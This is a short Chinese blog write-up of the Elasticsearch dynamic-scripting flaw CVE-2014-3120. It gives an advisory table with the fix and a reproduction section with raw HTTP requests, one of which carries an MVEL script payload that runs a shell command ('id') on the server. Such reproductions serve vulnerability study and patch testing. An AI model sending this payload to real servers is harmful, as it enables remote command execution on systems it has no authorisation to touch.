ElasticSearch 命令执行漏洞
漏洞编号:CVE-2014-3120
漏洞详情
CVE编号 | CVE-2014-3120 | 漏洞级别 | 中危6.8 |
---|---|---|---|
标题 | Elasticsearch默认配置允许动态脚本执行漏洞 | 披露时间 | 2014/07/29 |
漏洞总结 | Elasticsearch 1.2版本及之前的默认配置启用了动态脚本,攻击者可以通过_search的source参数执行任意MVEL表达式和Java代码。需要注意的是,只有在用户没有在独立的虚拟机中运行Elasticsearch时,这才违反了供应商的安全策略。 | ||
利用路径 | NETWORK | 利用难度 | 一般8.6 |
影响产品 | elasticsearch | ||
解决方案 | 升级Elasticsearch到1.2.1以上版本,或禁用动态脚本功能。建议将Elasticsearch运行在一个独立的虚拟机中,以增强安全性。 |
漏洞复现
添加一条数据
POST /website/blog/ HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
执行命令
POST /_search?pretty HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
POC&EXP
github:POC-EXP/ElasticSearch 命令执行漏洞 at main · twsec-pro/POC-EXP (github.com)
yakit:cc5908ae-5ea5-4060-8f15-1da729b3fb8c
本文来自博客园,作者:twsec,转载请注明原文链接:https://www.cnblogs.com/TWX521/p/17916381.html